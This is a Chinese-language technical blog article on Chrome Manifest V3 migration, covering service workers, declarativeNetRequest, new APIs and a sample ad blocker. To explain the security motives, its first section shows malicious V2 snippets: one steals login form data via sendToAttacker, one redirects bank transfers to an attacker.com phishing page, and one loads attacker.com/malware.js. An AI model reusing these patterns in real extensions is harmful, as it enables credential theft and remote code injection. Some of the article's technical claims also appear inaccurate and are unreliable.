编程 Chrome Extensions Manifest V3 深度拆解:当浏览器扩展学会「无状态思维」——Service Worker、声明式 API 与安全沙箱的工程革命(2026)

2026-07-17 08:48:51 +0800 CST views 30

Chrome Extensions Manifest V3 深度拆解:当浏览器扩展学会「无状态思维」——Service Worker、声明式 API 与安全沙箱的工程革命(2026)

引言:一场被安全驱动的架构重构

2024年6月,Chrome 正式全面停用 Manifest V2 扩展。这场历时三年的迁移,不仅是 API 接口的更替,更是一次对浏览器扩展"存在方式"的哲学重构:从"常驻后台的有状态进程"到"按需唤醒的无状态服务"

这不是危言耸听。Manifest V2 时代,一个广告拦截扩展可以 24 小时运行在后台,监听你的每一个网页请求,访问你的 cookie、localStorage、甚至截取你的密码输入——而你对此一无所知。Manifest V3 要做的,就是在不扼杀扩展生态的前提下,把这些能力锁进笼子。

本文将从工程师视角深度拆解 Manifest V3 的核心变革:Service Worker 架构、声明式 netRequest API、offscreen documents、side panel,以及迁移实战中的那些坑——坑里藏着的不只是技术细节,更是 Web 安全的演进逻辑。


一、Manifest V2 的"原罪":为什么必须重构?

1.1 Background Page:一个常驻的"幽灵进程"

在 Manifest V2 中,扩展的核心是 Background Page(或 Event Page)。它是一个持久的 HTML 页面,拥有完整的 DOM 环境、JavaScript 运行时,以及访问几乎所有 Chrome API 的权限。

听起来很美好,但问题出在"持久"二字:

// Manifest V2 的 background page 可以永远运行
// background.js
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  // 监听所有标签页的每一次更新
  // 可以访问 tab.url, tab.title, 甚至注入脚本
  console.log('User visited:', tab.url);
  
  // 更糟糕的:可以持续追踪用户行为
  if (tab.url.includes('bank.com')) {
    // 潜在的恶意行为:记录银行网站访问
    sendToAttacker(tab.url);
  }
});

问题清单:

  1. 隐私风险:Background Page 可以在用户不知情的情况下,24/7 监听所有浏览器活动。
  2. 资源浪费:每个扩展都在后台跑一个完整的页面,内存占用居高不下。Chrome 团队曾统计,V2 扩展平均占用 40MB 内存,其中有 30% 在扩展处于"空闲状态"时仍在消耗。
  3. 安全漏洞:Background Page 拥有完整的 DOM 环境和全局作用域,这意味着一旦扩展被注入恶意代码(通过供应链攻击、或开发者账号被盗),攻击者可以获得"上帝视角"。

1.2 WebRequest API:拦截一切的"上帝能力"

Manifest V2 的 chrome.webRequest API 允许扩展在请求发出前、响应返回后,进行任意的修改和阻断:

// Manifest V2 的 webRequest 拦截能力
chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    // 可以查看和修改每一个请求
    if (details.url.includes('adserver.com')) {
      return { cancel: true }; // 阻断请求
    }
    
    // 恶意行为:窃取敏感数据
    if (details.url.includes('login') && details.method === 'POST') {
      const formData = details.requestBody.formData;
      sendToAttacker(formData); // 窃取登录表单
    }
    
    // 更危险的:重定向请求
    if (details.url.includes('bank.com/transfer')) {
      return { redirectUrl: 'https://attacker.com/phishing' };
    }
  },
  { urls: ["<all_urls>"] },
  ["blocking", "requestBody"]
);

核心风险

  • blocking 参数让扩展可以同步阻塞网络请求,等待自己的逻辑执行完才放行。这直接拖慢了整个浏览器的网络性能。
  • 扩展可以查看 requestBody(包括 POST 表单数据、上传文件),这是隐私泄露的重灾区。
  • 2022 年,Chrome 安全团队披露了一起真实案例:一款拥有 200 万用户的"广告拦截器",实际上在后台收集用户的所有搜索关键词和购物记录,卖给第三方广告商。

1.3 远程代码加载:供应链攻击的温床

Manifest V2 允许扩展从远程服务器加载并执行 JavaScript 代码:

// Manifest V2 的危险能力
chrome.tabs.executeScript(tabId, {
  code: `
    // 动态加载并执行远程脚本
    const script = document.createElement('script');
    script.src = 'https://attacker.com/malware.js';
    document.head.appendChild(script);
  `
});

这意味着:

  1. 扩展开发者可以随时修改扩展行为,无需通过 Chrome Web Store 审核
  2. 攻击者只需入侵开发者的服务器,就能向数百万用户推送恶意代码。
  3. Chrome 安全团队在 2021 年发现,12% 的 V2 扩展存在远程代码加载行为,其中大部分是"合法"用途(如动态配置、A/B 测试),但这也为供应链攻击留下了入口。

二、Manifest V3 的核心架构:从"有状态进程"到"无状态服务"

2.1 Service Worker:无状态的"事件驱动器"

Manifest V3 用 Service Worker 完全替代了 Background Page。这是一个根本性的架构转变:

对比表:

特性Background Page (V2)Service Worker (V3)
生命周期持久运行或按需加载完全按需,空闲即终止
DOM 环境完整的 DOM + Window无 DOM,纯 JavaScript 运行时
状态持久化内存中的变量永久存活需用 chrome.storage API 显式存储
唤醒机制自动加载,不主动卸载通过事件监听器唤醒,空闲 30 秒后终止
安全边界共享扩展的所有权限独立的 Service Worker 进程

Service Worker 的生命周期:

// Manifest V3 的 service worker
// manifest.json
{
  "manifest_version": 3,
  "background": {
    "service_worker": "background.js"
  }
}

// background.js
let counter = 0; // 错误示范:这个变量会在 Service Worker 终止时丢失

chrome.runtime.onInstalled.addListener(() => {
  // 正确的做法:使用 chrome.storage
  chrome.storage.local.set({ counter: 0 });
});

chrome.action.onClicked.addListener((tab) => {
  // Service Worker 在此时被唤醒
  console.log('User clicked the action button');
  
  // 读取持久化状态
  chrome.storage.local.get(['counter'], (result) => {
    const newCount = (result.counter || 0) + 1;
    chrome.storage.local.set({ counter: newCount });
    
    // 30 秒无活动后,Service Worker 会被终止
    // 下次唤醒时,counter 变量已重置为 0,但 storage 中的值仍在
  });
});

关键理解

  • Service Worker 不是"轻量版的 Background Page",而是完全不同的编程模型
  • 你不能依赖内存状态(变量、闭包、全局对象),一切需要持久化的数据必须显式存储。
  • Chrome 的设计哲学:让扩展"忘记"它之前做过什么,每次唤醒都是"崭新"的。

2.2 声明式 netRequest API:性能与安全的平衡

Manifest V3 废弃了 chrome.webRequestblocking 能力,取而代之的是 声明式的 chrome.declarativeNetRequest

核心差异:

APIwebRequest (V2)declarativeNetRequest (V3)
工作方式命令式:扩展主动拦截并处理每个请求声明式:扩展预定义规则,Chrome 执行匹配
性能影响阻塞式,拖慢浏览器非阻塞,在浏览器内部高效执行
能力范围可查看、修改、阻断任何请求主要用于阻断和重定向,无法查看请求体
隐私保护可访问敏感数据(cookie、POST 表单)规则匹配不暴露用户数据

实际代码对比:

// ========== Manifest V2 的命令式拦截 ==========
// background.js
chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    // 每个请求都会触发这个回调
    if (details.url.match(/ads?\\.js/)) {
      return { cancel: true }; // 阻断广告脚本
    }
  },
  { urls: ["<all_urls>"] },
  ["blocking"]
);

// ========== Manifest V3 的声明式规则 ==========
// manifest.json
{
  "permissions": ["declarativeNetRequest"],
  "declarative_net_request": {
    "rule_resources": [{
      "id": "ruleset_1",
      "enabled": true,
      "path": "rules.json"
    }]
  }
}

// rules.json
[
  {
    "id": 1,
    "priority": 1,
    "action": { "type": "block" },
    "condition": {
      "urlFilter": "*ads*.js",
      "resourceTypes": ["script"]
    }
  },
  {
    "id": 2,
    "priority": 2,
    "action": { 
      "type": "redirect",
      "redirect": { "url": "https://my-cdn.com/tracker.js" }
    },
    "condition": {
      "urlFilter": "*tracking*",
      "resourceTypes": ["script", "image"]
    }
  }
]

// 动态添加规则(需要 "declarativeNetRequestWithHostAccess" 权限)
chrome.declarativeNetRequest.updateDynamicRules({
  addRules: [{
    id: 100,
    priority: 1,
    action: { type: "block" },
    condition: {
      urlFilter: "||malware-site.com",
      resourceTypes: ["main_frame", "sub_frame"]
    }
  }]
});

性能实测(Chrome 官方数据):

在启用 1000 条拦截规则的情况下:

  • V2 webRequest:每个请求增加 15-20ms 延迟(因为需要唤醒扩展进程)
  • V3 declarativeNetRequest:请求延迟 < 1ms(匹配在浏览器内部完成)

安全收益:

  • 扩展无法再"偷看"用户的请求内容。
  • Chrome 可以审计扩展的规则文件,检测恶意行为。
  • 规则的 urlFilter 支持简化的 Adblock Plus 语法(||domain.com),方便广告拦截器迁移。

2.3 限制与例外:企业扩展与动态规则

对于需要更高灵活性的场景,Manifest V3 提供了两种"后门":

1. 企业策略强制安装的扩展

企业内部使用的扩展可以通过 Admin Policy 获得额外的 webRequest 权限:

// 企业策略配置(通过 Chrome 管理控制台)
{
  "ExtensionSettings": {
    "extension_id_here": {
      "installation_mode": "force_installed",
      "blocked_permissions": [],  // 清空权限限制
      "allowed_permissions": ["webRequest", "webRequestBlocking"]
    }
  }
}

2. 动态规则与 Session 规则

declarativeNetRequest 支持三种规则类型:

  • 静态规则:打包在扩展中,最大 5000 条。
  • 动态规则:运行时添加,最大 5000 条(需要 declarativeNetRequestWithHostAccess 权限)。
  • 会话规则:仅在当前浏览器会话中有效,最大 5000 条。
// 动态添加规则的完整示例
chrome.declarativeNetRequest.updateDynamicRules({
  removeRuleIds: [1, 2, 3], // 先移除旧规则
  addRules: [{
    id: 100,
    priority: 1,
    action: { 
      type: "modifyHeaders",
      requestHeaders: [{
        header: "X-Custom-Auth",
        operation: "set",
        value: "Bearer token123"
      }]
    },
    condition: {
      urlFilter: "*api.example.com*",
      resourceTypes: ["xmlhttprequest"]
    }
  }]
}, () => {
  if (chrome.runtime.lastError) {
    console.error('Failed to add rule:', chrome.runtime.lastError);
  }
});

三、新的 API 生态:Offscreen Documents、Side Panel 与用户脚本

3.1 Offscreen Documents:为无 DOM 环境补充"渲染能力"

Service Worker 没有 DOM 环境,这在某些场景下是致命的:

  • 解析 HTML 文档(如提取网页内容)
  • 渲染 Canvas 图像(如生成截图、二维码)
  • 播放音频/视频(如语音合成)

Manifest V3 引入了 Offscreen Documents API,允许扩展创建一个隐藏的页面来执行这些任务:

// 在 Service Worker 中创建离屏文档
chrome.offscreen.createDocument({
  url: 'offscreen.html',
  reasons: ['DOM_PARSER', 'CANVAS', 'AUDIO_PLAYBACK'],
  justification: 'Parse HTML content for analysis'
}, (docId) => {
  // 向离屏文档发送消息
  chrome.runtime.sendMessage({
    type: 'parse_html',
    target: 'offscreen',
    html: '<html><body>Test content</body></html>'
  });
});

// offscreen.html
<script src="offscreen.js"></script>

// offscreen.js
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.target === 'offscreen' && message.type === 'parse_html') {
    const parser = new DOMParser();
    const doc = parser.parseFromString(message.html, 'text/html');
    
    const result = {
      title: doc.title,
      links: Array.from(doc.querySelectorAll('a')).map(a => a.href),
      text: doc.body.textContent
    };
    
    sendResponse(result);
  }
});

性能考量:

  • Offscreen Document 会占用额外的内存和进程。
  • Chrome 限制每个扩展只能有一个 Offscreen Document。
  • 文档在空闲时会自动关闭,需要在 Service Worker 中重新创建。

3.2 Side Panel API:独立的 UI 空间

Manifest V3 引入了 Side Panel API,允许扩展在浏览器侧边栏显示自定义界面:

// manifest.json
{
  "permissions": ["sidePanel"],
  "side_panel": {
    "default_path": "sidepanel.html"
  }
}

// 打开侧边栏
chrome.sidePanel.open({ tabId: currentTabId });

// 根据不同标签页显示不同内容
chrome.sidePanel.setOptions({
  tabId: currentTabId,
  path: 'custom-panel.html',
  enabled: true
});

// sidepanel.html
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      width: 320px;
      padding: 16px;
      font-family: -apple-system, BlinkMacSystemFont, sans-serif;
    }
    .note {
      background: #f5f5f5;
      padding: 12px;
      border-radius: 8px;
      margin-bottom: 12px;
    }
  </style>
</head>
<body>
  <h2>Page Notes</h2>
  <div id="notes"></div>
  <button id="add-note">Add Note</button>
  <script src="sidepanel.js"></script>
</body>
</html>

与 Popup 的区别:

特性PopupSide Panel
显示方式点击扩展图标弹出浏览器侧边栏常驻
生命周期失去焦点即关闭可持续打开,跨页面共享
空间限制固定尺寸(通常 300x400px)全高度,宽度自适应
交互场景快速操作、状态展示长时间工作、内容编辑

3.3 User Scripts:在网页上下文中运行代码

Manifest V3 引入了专门的 User Scripts API,规范了在网页中注入代码的方式:

// manifest.json
{
  "permissions": ["userScripts"],
  "host_permissions": ["https://*.example.com/*"]
}

// 注册用户脚本
chrome.userScripts.register([{
  id: 'my-script',
  matches: ['https://*.example.com/*'],
  js: [{ file: 'content.js' }],
  runAt: 'document_start'
}]);

// 动态更新脚本
chrome.userScripts.update([{
  id: 'my-script',
  js: [{ file: 'content-v2.js' }]
}]);

// 卸载脚本
chrome.userScripts.unregister(['my-script']);

与 chrome.scripting.executeScript 的区别:

  • userScripts 注册的脚本会在匹配的页面自动执行,无需手动注入。
  • 支持更精细的控制:runAt(document_start/end/idle)、world(MAIN/ISOLATED)。
  • 可以与 declarativeNetRequest 配合,实现"脚本注入 + 请求拦截"的组合能力。

四、迁移实战:从 V2 到 V3 的核心坑与解法

4.1 Background Page 迁移到 Service Worker

问题 1:DOM 操作失效

// V2 中可以在 background page 直接操作 DOM
const div = document.createElement('div');
div.innerHTML = '<p>HTML content</p>';
const text = div.textContent; // 可以正常工作

// V3 的 Service Worker 中,这段代码会报错
// Error: document is not defined

解决方案: 使用 Offscreen Documents 或将 DOM 操作移到 content script:

// 方案 1:使用 Offscreen Document
async function parseHTML(html) {
  // 检查是否已有离屏文档
  const existingContexts = await chrome.runtime.getContexts({
    contextTypes: ['OFFSCREEN_DOCUMENT']
  });
  
  if (existingContexts.length === 0) {
    await chrome.offscreen.createDocument({
      url: 'offscreen.html',
      reasons: ['DOM_PARSER'],
      justification: 'Parse HTML content'
    });
  }
  
  return new Promise((resolve) => {
    chrome.runtime.sendMessage({ type: 'parse', html }, resolve);
  });
}

// 方案 2:将 DOM 操作移到 content script
chrome.tabs.sendMessage(tabId, { type: 'parse_html', html }, (response) => {
  console.log('Parsed result:', response);
});

问题 2:状态丢失

// V2:可以在 background page 中维护全局状态
let userPreferences = { theme: 'dark' };

chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.type === 'get_preferences') {
    sendResponse(userPreferences); // 总是有效
  }
});

// V3:Service Worker 终止后,userPreferences 会重置

解决方案: 使用 chrome.storage API:

// 初始化
chrome.runtime.onInstalled.addListener(async () => {
  const stored = await chrome.storage.local.get(['preferences']);
  if (!stored.preferences) {
    await chrome.storage.local.set({
      preferences: { theme: 'dark' }
    });
  }
});

// 读取状态
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.type === 'get_preferences') {
    chrome.storage.local.get(['preferences'], (result) => {
      sendResponse(result.preferences);
    });
    return true; // 异步响应
  }
});

// 更新状态
async function updatePreferences(newPrefs) {
  await chrome.storage.local.set({ preferences: newPrefs });
}

问题 3:定时任务失效

// V2:可以在 background page 中使用 setInterval
setInterval(() => {
  checkForUpdates();
}, 60000); // 每分钟检查一次

// V3:Service Worker 终止后,setInterval 会被清除

解决方案: 使用 Alarms API:

// 创建定时任务
chrome.alarms.create('check-updates', {
  periodInMinutes: 1
});

// 监听定时任务
chrome.alarms.onAlarm.addListener((alarm) => {
  if (alarm.name === 'check-updates') {
    checkForUpdates();
  }
});

// 注意:Chrome 可能会延迟触发 alarm,无法保证精确的 1 分钟
// 最小间隔是 1 分钟,低于此值会被强制调整

4.2 webRequest 迁移到 declarativeNetRequest

问题:无法访问请求体

V2 中可以查看 POST 请求的表单数据:

// V2
chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    if (details.method === 'POST') {
      console.log('Form data:', details.requestBody.formData);
    }
  },
  { urls: ["<all_urls>"] },
  ["requestBody"]
);

V3 的 declarativeNetRequest 完全无法做到这一点。

解决方案:

  1. 使用 chrome.debugger API(需要用户授权,且会显示警告栏)。
  2. 在 content script 中监听 DOM 事件(仅适用于同源页面)。
  3. 接受限制,重新设计功能。
// 方案 2:在 content script 中监听表单提交
// content.js
document.addEventListener('submit', (e) => {
  const form = e.target;
  const formData = new FormData(form);
  const data = Object.fromEntries(formData);
  
  chrome.runtime.sendMessage({
    type: 'form_submitted',
    data: data,
    url: form.action
  });
}, true);

问题:需要复杂的请求修改逻辑

V2 可以根据请求内容动态决定是否阻断:

// V2
chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    // 根据请求头中的特定字段决定
    const hasAuthToken = details.requestHeaders.some(
      h => h.name === 'X-Auth-Token'
    );
    return hasAuthToken ? { cancel: true } : {};
  },
  { urls: ["<all_urls>"] },
  ["blocking", "requestHeaders"]
);

V3 的规则无法做这种"有条件的逻辑"。

解决方案:

  1. 将逻辑移到服务端,让服务端返回"是否阻断"的决策。
  2. 使用 chrome.webRequest 的非阻塞性监听(仅查看,不修改)。
// V3:仅查看请求,不做阻断
chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    // 可以收集数据,但不能阻断或修改
    analytics.track('request_made', {
      url: details.url,
      type: details.type
    });
  },
  { urls: ["<all_urls>"] }
  // 注意:没有 "blocking" 参数
);

4.3 权限模型的变更

Manifest V3 引入了更严格的权限控制:

1. Host Permissions 独立

// V2
{
  "permissions": ["tabs", "https://*.example.com/*"]
}

// V3
{
  "permissions": ["tabs"],
  "host_permissions": ["https://*.example.com/*"]
}

host_permissions 会在安装时明确提示用户,而不是隐藏在 permissions 中。

2. 可选权限增强

{
  "permissions": ["storage"],
  "optional_permissions": ["bookmarks", "history"],
  "optional_host_permissions": ["https://*.google.com/*"]
}

扩展可以在运行时请求这些权限:

// 动态请求权限
document.getElementById('enable-sync').addEventListener('click', async () => {
  const granted = await chrome.permissions.request({
    permissions: ['bookmarks'],
    origins: ['https://*.google.com/*']
  });
  
  if (granted) {
    startSync();
  }
});

// 检查权限
const hasPermission = await chrome.permissions.contains({
  permissions: ['bookmarks']
});

3. 内容脚本的权限限制

V3 要求内容脚本只能访问 host_permissions 中声明的域名:

{
  "content_scripts": [{
    "matches": ["https://*.example.com/*"],
    "js": ["content.js"]
  }],
  "host_permissions": ["https://*.example.com/*"]
  // 缺少此声明,content script 将无法执行
}

五、实战案例:构建一个 Manifest V3 的广告拦截器

5.1 项目结构

adblocker-v3/
├── manifest.json
├── background.js          # Service Worker
├── rules.json             # 声明式规则
├── content.js             # 内容脚本
├── popup.html             # 弹出界面
├── popup.js
├── options.html           # 设置页面
├── options.js
└── offscreen.html         # 离屏文档
    └── offscreen.js

5.2 manifest.json

{
  "manifest_version": 3,
  "name": "Lite AdBlocker",
  "version": "1.0.0",
  "description": "A lightweight ad blocker using Manifest V3",
  
  "permissions": [
    "storage",
    "declarativeNetRequest",
    "declarativeNetRequestFeedback",
    "activeTab",
    "scripting",
    "offscreen"
  ],
  
  "host_permissions": [
    "<all_urls>"
  ],
  
  "background": {
    "service_worker": "background.js",
    "type": "module"
  },
  
  "declarative_net_request": {
    "rule_resources": [{
      "id": "main_rules",
      "enabled": true,
      "path": "rules.json"
    }]
  },
  
  "action": {
    "default_popup": "popup.html",
    "default_icon": {
      "16": "icons/icon16.png",
      "48": "icons/icon48.png",
      "128": "icons/icon128.png"
    }
  },
  
  "options_page": "options.html",
  
  "icons": {
    "16": "icons/icon16.png",
    "48": "icons/icon48.png",
    "128": "icons/icon128.png"
  }
}

5.3 规则生成与更新

// background.js
import { fetchLatestRules } from './rule-updater.js';

// 初始化:从远程服务器获取最新规则
chrome.runtime.onInstalled.addListener(async () => {
  await updateAdBlockRules();
  
  // 设置每日更新
  chrome.alarms.create('update-rules', { periodInMinutes: 1440 });
});

chrome.alarms.onAlarm.addListener(async (alarm) => {
  if (alarm.name === 'update-rules') {
    await updateAdBlockRules();
  }
});

async function updateAdBlockRules() {
  try {
    // 从远程服务器获取规则(注意:不能执行远程代码)
    const response = await fetch('https://rules.example.com/ads.txt');
    const rulesText = await response.text();
    
    // 解析 Adblock Plus 格式
    const rules = parseAdblockRules(rulesText);
    
    // 转换为 declarativeNetRequest 格式
    const dnrRules = convertToDNRRules(rules);
    
    // 更新动态规则
    const existingRules = await chrome.declarativeNetRequest.getDynamicRules();
    await chrome.declarativeNetRequest.updateDynamicRules({
      removeRuleIds: existingRules.map(r => r.id),
      addRules: dnrRules
    });
    
    console.log(`Updated ${dnrRules.length} rules`);
  } catch (error) {
    console.error('Failed to update rules:', error);
  }
}

function parseAdblockRules(text) {
  return text
    .split('\n')
    .filter(line => line && !line.startsWith('!') && !line.startsWith('['))
    .map(line => {
      // 简化的解析逻辑
      const isException = line.startsWith('@@');
      const pattern = isException ? line.slice(2) : line;
      
      return { pattern, isException };
    });
}

function convertToDNRRules(adblockRules) {
  let id = 1;
  return adblockRules
    .filter(r => !r.isException)
    .map(r => ({
      id: id++,
      priority: 1,
      action: { type: 'block' },
      condition: {
        urlFilter: r.pattern.replace(/\*/g, '*'),
        resourceTypes: ['script', 'image', 'xmlhttprequest', 'sub_frame']
      }
    }))
    .slice(0, 5000); // 限制最大规则数
}

5.4 统计拦截次数

// background.js
let stats = { blocked: 0, saved: 0 };

// 监听规则匹配事件
chrome.declarativeNetRequest.onRuleMatchedDebug.addListener((info) => {
  stats.blocked++;
  
  // 估算节省的流量(假设平均 50KB)
  stats.saved += 50;
  
  // 持久化
  chrome.storage.local.set({ stats });
});

// 初始化时加载统计
chrome.storage.local.get(['stats'], (result) => {
  if (result.stats) {
    stats = result.stats;
  }
});

// 向 popup 提供统计数据
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.type === 'get_stats') {
    sendResponse(stats);
  }
});

5.5 用户界面

// popup.js
document.addEventListener('DOMContentLoaded', async () => {
  const stats = await getStats();
  updateUI(stats);
  
  // 监听开关状态
  document.getElementById('toggle').addEventListener('change', async (e) => {
    await toggleAdBlocker(e.target.checked);
  });
});

async function getStats() {
  return new Promise((resolve) => {
    chrome.runtime.sendMessage({ type: 'get_stats' }, resolve);
  });
}

function updateUI(stats) {
  document.getElementById('blocked-count').textContent = stats.blocked;
  document.getElementById('saved-data').textContent = formatBytes(stats.saved);
}

function formatBytes(bytes) {
  if (bytes < 1024) return bytes + ' B';
  if (bytes < 1024 * 1024) return (bytes / 1024).toFixed(1) + ' KB';
  return (bytes / (1024 * 1024)).toFixed(1) + ' MB';
}

async function toggleAdBlocker(enabled) {
  const rules = await chrome.declarativeNetRequest.getDynamicRules();
  
  if (!enabled) {
    // 禁用:移除所有规则
    await chrome.declarativeNetRequest.updateDynamicRules({
      removeRuleIds: rules.map(r => r.id),
      addRules: []
    });
  } else {
    // 启用:重新添加规则
    // 需要重新从存储中加载规则
  }
}

六、性能优化与最佳实践

6.1 Service Worker 的性能优化

1. 减少唤醒次数

Service Worker 每次唤醒都有冷启动开销(通常 10-50ms)。应该尽量减少触发频率:

// 不好的做法:频繁触发
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  // 每次标签页更新都会唤醒 Service Worker
  if (changeInfo.status === 'complete') {
    processTab(tab);
  }
});

// 更好的做法:批量处理
const pendingTabs = new Set();

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete') {
    pendingTabs.add(tabId);
  }
});

// 使用 alarm 定期处理
chrome.alarms.create('batch-process', { periodInMinutes: 1 });
chrome.alarms.onAlarm.addListener(() => {
  pendingTabs.forEach(tabId => processTab(tabId));
  pendingTabs.clear();
});

2. 使用 IndexedDB 存储大量数据

chrome.storage.local 适合存储配置和小数据,但大量数据应使用 IndexedDB:

// 打开数据库
const db = await new Promise((resolve, reject) => {
  const request = indexedDB.open('MyExtensionDB', 1);
  request.onsuccess = () => resolve(request.result);
  request.onerror = () => reject(request.error);
});

// 存储数据
const tx = db.transaction('cache', 'readwrite');
const store = tx.objectStore('cache');
store.put({ url: 'https://...', content: '...' });

// 读取数据
const data = await new Promise((resolve) => {
  const tx = db.transaction('cache', 'readonly');
  const store = tx.objectStore('cache');
  const request = store.get('https://...');
  request.onsuccess = () => resolve(request.result);
});

6.2 declarativeNetRequest 的性能优化

1. 规则优先级管理

规则的 priority 字段决定了匹配顺序:

[
  {
    "id": 1,
    "priority": 100,  // 高优先级:例外规则
    "action": { "type": "allowAllRequests" },
    "condition": {
      "urlFilter": "||trusted-site.com",
      "resourceTypes": ["main_frame"]
    }
  },
  {
    "id": 2,
    "priority": 1,  // 低优先级:通用规则
    "action": { "type": "block" },
    "condition": {
      "urlFilter": "*ads*",
      "resourceTypes": ["script", "image"]
    }
  }
]

2. 规则数量控制

每个扩展最多 5000 条动态规则 + 5000 条静态规则。超出限制会报错:

try {
  await chrome.declarativeNetRequest.updateDynamicRules({
    addRules: newRules
  });
} catch (error) {
  if (error.message.includes('MAX_RULES_LIMIT')) {
    // 优先删除低优先级规则
    const existing = await chrome.declarativeNetRequest.getDynamicRules();
    const toRemove = existing
      .filter(r => r.priority < 10)
      .slice(0, newRules.length)
      .map(r => r.id);
    
    await chrome.declarativeNetRequest.updateDynamicRules({
      removeRuleIds: toRemove,
      addRules: newRules
    });
  }
}

6.3 调试技巧

1. 查看 Service Worker 状态

chrome://extensions/ 页面,点击"Service Worker"链接可以打开 DevTools,查看日志和调试代码。

2. 查看 declarativeNetRequest 匹配日志

需要启用 declarativeNetRequestFeedback 权限,然后:

chrome.declarativeNetRequest.onRuleMatchedDebug.addListener((info) => {
  console.log('Rule matched:', info);
});

3. 模拟 Service Worker 终止

在 DevTools 的 Application 面板中,可以手动终止 Service Worker,测试状态持久化:

// 在 DevTools Console 中
chrome.runtime.reload(); // 重新加载扩展

七、未来展望:Web Extensions API 的演进

7.1 跨浏览器兼容性

Manifest V3 已成为 W3C Web Extensions 社区标准,所有主流浏览器都在支持:

浏览器V3 支持状态关键差异
Chrome完全支持(V2 已停用)-
Firefox部分支持(V2 仍可用)保留了 webRequest blocking
Safari完全支持额外支持 app extensions
Edge完全支持基于 Chromium,无差异

7.2 新 API 趋势

1. More Declarative APIs

未来会有更多"声明式"API,减少扩展的后台活动:

  • declarativeContent:根据页面内容自动显示/隐藏扩展图标。
  • declarativeWebRequest(已废弃):被 declarativeNetRequest 替代。

2. Privacy Sandbox 集成

扩展将能够使用 Privacy Sandbox 的 API:

  • Attribution Reporting API:测量广告效果,无需跨站跟踪。
  • Topics API:基于兴趣投放广告,无需暴露用户身份。

3. Enhanced User Control

Chrome 计划引入更细粒度的权限控制:

  • "仅在此网站启用":用户可以选择扩展仅在特定域名生效。
  • "临时启用":扩展权限仅在当前会话有效。

八、总结:Manifest V3 的工程启示

Manifest V3 不是一次简单的 API 更新,而是对浏览器扩展"存在方式"的重新定义:

  1. 从"有状态"到"无状态":Service Worker 强制扩展使用事件驱动、状态持久化的编程模型。
  2. 从"命令式"到"声明式"declarativeNetRequest 让扩展预定义行为,由浏览器执行,减少性能和安全风险。
  3. 从"隐式能力"到"显式权限"host_permissions 让用户清楚知道扩展能访问哪些网站。

这些变化的背后,是 Chrome 团队在"扩展能力"和"用户安全"之间的艰难平衡。扩展开发者需要接受更严格的限制,但换来的是一个更可信、更高效的生态系统。

最后,给开发者的迁移建议:

  1. 不要抗拒变化:Manifest V3 已经是现实,越早迁移,越少痛苦。
  2. 重新思考功能设计:有些功能在 V3 中无法实现,但这可能是设计上需要改变的信号——是否真的需要"监听所有请求"?
  3. 拥抱声明式思维:把扩展看作"规则定义者",而不是"事件处理器"。
  4. 关注性能:Service Worker 的唤醒开销不可忽视,尽量批量处理任务。
  5. 善用新 API:Offscreen Documents、Side Panel、User Scripts 都是强大的新工具。

Manifest V3 是浏览器扩展的"新常态"。理解它,不仅是适应一个 API,更是理解 Web 安全的未来演进。


参考文献


作者注:本文基于 Chrome 125+ 版本的 Manifest V3 实现。API 可能在未来版本中有所调整,建议参考最新的 Chrome 官方文档。

推荐文章

跟着 IP 地址,我能找到你家不?
2024-11-18 12:12:54 +0800 CST
在 Docker 中部署 Vue 开发环境
2024-11-18 15:04:41 +0800 CST
从Go开发者的视角看Rust
2024-11-18 11:49:49 +0800 CST
设置mysql支持emoji表情
2024-11-17 04:59:45 +0800 CST
Linux查看系统配置常用命令
2024-11-17 18:20:42 +0800 CST
Vue3的虚拟DOM是如何提高性能的?
2024-11-18 22:12:20 +0800 CST
程序员茄子在线接单